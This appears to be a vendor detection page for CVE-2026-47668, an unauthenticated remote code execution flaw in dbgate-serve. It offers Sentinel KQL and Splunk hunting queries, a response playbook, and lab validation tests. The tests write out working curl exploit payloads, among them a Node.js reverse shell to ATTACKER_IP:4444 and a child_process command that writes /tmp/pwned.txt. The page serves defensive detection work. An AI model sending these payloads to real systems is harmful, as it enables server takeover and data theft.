CVE-2026-47668 Microsoft Sentinel · KQL

Detect CVE-2026-47668: DbGate Unauthenticated RCE via JSON Script Runner in Microsoft Sentinel

Detects exploitation of CVE-2026-47668, a critical unauthenticated remote code execution vulnerability in dbgate-serve <= 7.1.8. The JSON Script Runner endpoint accepts and executes arbitrary JavaScript/JSON payloads without authentication, allowing attackers to achieve full server compromise. A public PoC is available.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence Impact

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let dbgate_ports = dynamic([3000, 3001, 8080, 8443]);
let suspicious_paths = dynamic(["/script/run", "/script/execute", "/run-script", "/api/script"]);
union DeviceNetworkEvents, W3CIISLog, AzureDiagnostics
| where TimeGenerated > ago(24h)
| where (
    (csUriStem has_any (suspicious_paths) and csMethod == "POST")
    or (RequestUri has_any (suspicious_paths) and HttpMethod == "POST")
    or (Url has_any (suspicious_paths) and RequestMethod == "POST")
  )
| where (
    csUserName == "-" or csUserName == "" or isempty(csUserName)
    or AuthenticatedUser == "" or isempty(AuthenticatedUser)
  )
| extend UserAgent = coalesce(csUserAgent, UserAgent, RequestUserAgent)
| extend SourceIP = coalesce(cIp, CallerIpAddress, ClientIP)
| project TimeGenerated, SourceIP, UserAgent, RequestPath = coalesce(csUriStem, RequestUri, Url), Method = coalesce(csMethod, HttpMethod, RequestMethod), StatusCode = coalesce(scStatus, ResultCode, HttpStatusCode)
| summarize RequestCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP, UserAgent, RequestPath
| where RequestCount >= 1
| extend RiskScore = iif(RequestCount > 5, "High", "Medium")
| project-reorder FirstSeen, LastSeen, SourceIP, RequestPath, RequestCount, RiskScore, UserAgent
critical severity high confidence

Detects unauthenticated POST requests to dbgate-serve script execution endpoints. Looks for requests lacking authentication headers to known script runner paths across IIS logs, Azure Diagnostics, and Defender network events.

Data Sources

W3CIISLogAzureDiagnosticsDeviceNetworkEventsCommonSecurityLog

Required Tables

W3CIISLogAzureDiagnosticsDeviceNetworkEvents

False Positives & Tuning

  • Legitimate internal tooling using the dbgate script runner API without authentication in development environments
  • Automated health-check or monitoring scripts hitting the dbgate API
  • Security scanners and vulnerability assessment tools performing authorized scans

Other platforms for CVE-2026-47668


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-47668 PoC — Unauthenticated Script Execution via curl

    Expected signal: HTTP POST to /script/run with JSON body containing require('child_process'); Node.js spawns a child process (execve syscall with ppid=node); file /tmp/pwned.txt created by node process user

  2. Test 2CVE-2026-47668 — Reverse Shell Payload via Script Runner

    Expected signal: Node.js spawns /bin/sh child process; outbound TCP connection from node process to ATTACKER_IP:4444 visible in netflow and EDR network telemetry

  3. Test 3CVE-2026-47668 — Version Fingerprinting and Endpoint Discovery

    Expected signal: Multiple GET and POST requests to dbgate host from single source IP in short succession; POST to /script/run with simple JS payload; file write event from node process


Response Playbook

Triage

  1. Identify all hosts running dbgate-serve by querying asset inventory for npm package dbgate-serve <= 7.1.8, or scanning for open ports 3000/3001/8080/8443 with dbgate HTTP responses
  2. Check web/proxy access logs for POST requests to /script/run, /script/execute, or similar paths originating from external or unexpected IP addresses — prioritize 200/201 response codes as confirmed exploitation
  3. Review Node.js process logs and OS audit logs (auditd/Sysmon) on dbgate hosts for unexpected child process spawns or outbound network connections initiated by the node process
  4. Correlate source IPs from the alert against threat intelligence feeds and determine if the IP is associated with known scanners, PoC tools, or threat actor infrastructure

Containment

  1. Immediately isolate confirmed or suspected compromised dbgate hosts from the network using EDR isolation or firewall ACLs, blocking all inbound connections to dbgate ports (3000, 3001, 8080, 8443) from untrusted network segments
  2. If dbgate cannot be taken offline immediately, apply a reverse proxy WAF rule blocking POST requests to /script/run and similar paths pending patching to dbgate-serve >= 7.1.9

Evidence Collection

  1. Capture full HTTP request/response bodies from proxy or WAF logs for all POST requests to script runner endpoints within the exploitation window, preserving the raw JSON payload to understand what code was executed
  2. Collect process tree snapshots, command history, scheduled tasks/cron jobs, and new file artifacts from the dbgate host to identify persistence mechanisms or lateral movement tools dropped by the attacker

Escalation Criteria

  • !Escalate immediately to incident response if any POST request to the script runner returned HTTP 200 and the request originated from an external or untrusted IP — this constitutes confirmed code execution
  • !Escalate if forensic artifacts reveal attacker-created user accounts, SSH keys, reverse shells, cron jobs, or evidence of data exfiltration from databases accessible through dbgate

Investigation Guide

Related Techniques

Forensic Artifacts

  • >dbgate-serve HTTP access logs showing POST /script/run requests with JSON body payloads — preserved in the dbgate working directory or system web log location
  • >Node.js child_process spawn events visible in OS audit logs (auditd EventType=execve with ppid matching node process, or Sysmon Event ID 1 with ParentImage=node.exe)
  • >Network connections initiated by the node process to external IPs post-exploitation, visible in netflow or EDR telemetry as unusual outbound from the dbgate service account

Tuning Guidance

Reduce false positives by scoping the detection to known dbgate service ports and confirmed dbgate host assets. Add IP allowlists for known internal tooling or monitoring accounts. If dbgate is deployed behind a reverse proxy, ensure the detection captures the original client IP via X-Forwarded-For headers rather than the proxy IP. Adjust the unauthenticated check based on your dbgate deployment model — some deployments use API key auth rather than HTTP Authorization headers, requiring query adaptation to look for missing API key query parameters or custom header absence.


Hunting Queries

Hunt for unexpected child processes spawned by the Node.js dbgate process, which would indicate successful code execution through the script runner vulnerability

Hunting — KQL
kql
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where InitiatingProcessCommandLine has_any ("dbgate", "serve")
| where FileName !in~ ("node.exe", "node", "npm", "npx")
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName
| order by TimeGenerated desc
Hunting — SPL
spl
index=edr sourcetype=crowdstrike:events:sensor OR sourcetype=sysmon
| search event_type=ProcessCreate ParentImageFileName=*node*
| where (ParentCommandLine LIKE "%dbgate%" OR ParentCommandLine LIKE "%serve%")
| where NOT (ImageFileName IN ("node", "node.exe", "npm", "npx"))
| table _time, host, ImageFileName, CommandLine, ParentCommandLine, UserName

Atomic Red Team Tests

Test 1 CVE-2026-47668 PoC — Unauthenticated Script Execution via curl
linux

Simulates attacker sending a malicious JSON payload to the dbgate-serve script runner endpoint without authentication to achieve RCE. Lab use only.

Command

bash
curl -s -X POST http://TARGET_HOST:3000/script/run \
  -H 'Content-Type: application/json' \
  -d '{"script": "const { exec } = require(\"child_process\"); exec(\"id > /tmp/pwned.txt\");"}'
echo "Exit code: $?"
cat /tmp/pwned.txt 2>/dev/null && echo 'RCE confirmed' || echo 'No output file - check manually'

Cleanup

bash
rm -f /tmp/pwned.txt

Expected Telemetry

HTTP POST to /script/run with JSON body containing require('child_process'); Node.js spawns a child process (execve syscall with ppid=node); file /tmp/pwned.txt created by node process user

Expected Detection

Alert fires on unauthenticated POST to /script/run path; EDR generates child process creation event under node.js parent

Test 2 CVE-2026-47668 — Reverse Shell Payload via Script Runner
linux

Tests detection of a reverse shell established through the dbgate script runner. Requires a listener on ATTACKER_IP:4444. Lab use only.

Command

bash
curl -s -X POST http://TARGET_HOST:3000/script/run \
  -H 'Content-Type: application/json' \
  -d '{"script": "const net=require(\"net\"),cp=require(\"child_process\"),sh=cp.spawn(\"/bin/sh\",[]);const client=new net.Socket();client.connect(4444,\"ATTACKER_IP\",()=>{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"}'
echo 'Payload sent - check listener on ATTACKER_IP:4444'

Cleanup

bash
Kill reverse shell process on target; close listener on attacker host

Expected Telemetry

Node.js spawns /bin/sh child process; outbound TCP connection from node process to ATTACKER_IP:4444 visible in netflow and EDR network telemetry

Expected Detection

EDR alert on suspicious child process under node.js; network detection on unexpected outbound connection from dbgate service to non-corporate IP on ephemeral port

Test 3 CVE-2026-47668 — Version Fingerprinting and Endpoint Discovery
linux

Simulates attacker reconnaissance to identify exposed dbgate instances and confirm version before exploitation. Lab use only.

Command

bash
# Step 1: Check if dbgate is running and get version info
curl -s http://TARGET_HOST:3000/ | grep -i 'dbgate\|version'
# Step 2: Confirm script runner endpoint exists
curl -s -o /dev/null -w "%{http_code}" -X POST http://TARGET_HOST:3000/script/run \
  -H 'Content-Type: application/json' \
  -d '{"script": "1+1;"}'
# Step 3: Attempt safe execution to confirm RCE
curl -s -X POST http://TARGET_HOST:3000/script/run \
  -H 'Content-Type: application/json' \
  -d '{"script": "require(\"fs\").writeFileSync(\"/tmp/dbgate_test.txt\", process.version);"}'
cat /tmp/dbgate_test.txt 2>/dev/null

Cleanup

bash
rm -f /tmp/dbgate_test.txt

Expected Telemetry

Multiple GET and POST requests to dbgate host from single source IP in short succession; POST to /script/run with simple JS payload; file write event from node process

Expected Detection

Web log alert on unauthenticated POST to /script/run; file integrity monitoring alert on /tmp/dbgate_test.txt creation by node process; potential scanner signature match

Related Detections